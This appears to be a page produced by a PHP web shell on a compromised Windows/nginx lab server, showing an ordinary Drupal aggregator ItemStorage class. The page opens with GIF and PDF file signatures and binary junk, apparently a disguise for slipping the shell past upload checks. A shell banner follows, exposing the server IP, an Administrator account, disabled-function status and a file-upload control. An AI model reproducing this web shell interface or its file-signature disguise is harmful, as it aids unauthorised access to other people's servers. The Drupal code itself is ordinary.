GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Student/JimMartinson/Lab12/drupal/core/modules/aggregator/src/ |
Upload File : |
<?php namespace Drupal\aggregator; use Drupal\Core\Entity\Query\QueryInterface; use Drupal\Core\Entity\Sql\SqlContentEntityStorage; /** * Controller class for aggregators items. * * This extends the Drupal\Core\Entity\Sql\SqlContentEntityStorage class, adding * required special handling for feed item entities. */ class ItemStorage extends SqlContentEntityStorage implements ItemStorageInterface { /** * {@inheritdoc} */ public function getItemCount(FeedInterface $feed) { $query = \Drupal::entityQuery('aggregator_item') ->condition('fid', $feed->id()) ->count(); return $query->execute(); } /** * {@inheritdoc} */ public function loadAll($limit = NULL) { $query = \Drupal::entityQuery('aggregator_item'); return $this->executeFeedItemQuery($query, $limit); } /** * {@inheritdoc} */ public function loadByFeed($fid, $limit = NULL) { $query = \Drupal::entityQuery('aggregator_item') ->condition('fid', $fid); return $this->executeFeedItemQuery($query, $limit); } /** * Helper method to execute an item query. * * @param \Drupal\Core\Entity\Query\QueryInterface $query * The query to execute. * @param int $limit * (optional) The number of items to return. * * @return \Drupal\aggregator\ItemInterface[] * An array of the feed items. */ protected function executeFeedItemQuery(QueryInterface $query, $limit) { $query->sort('timestamp', 'DESC') ->sort('iid', 'DESC'); if (!empty($limit)) { $query->pager($limit); } return $this->loadMultiple($query->execute()); } }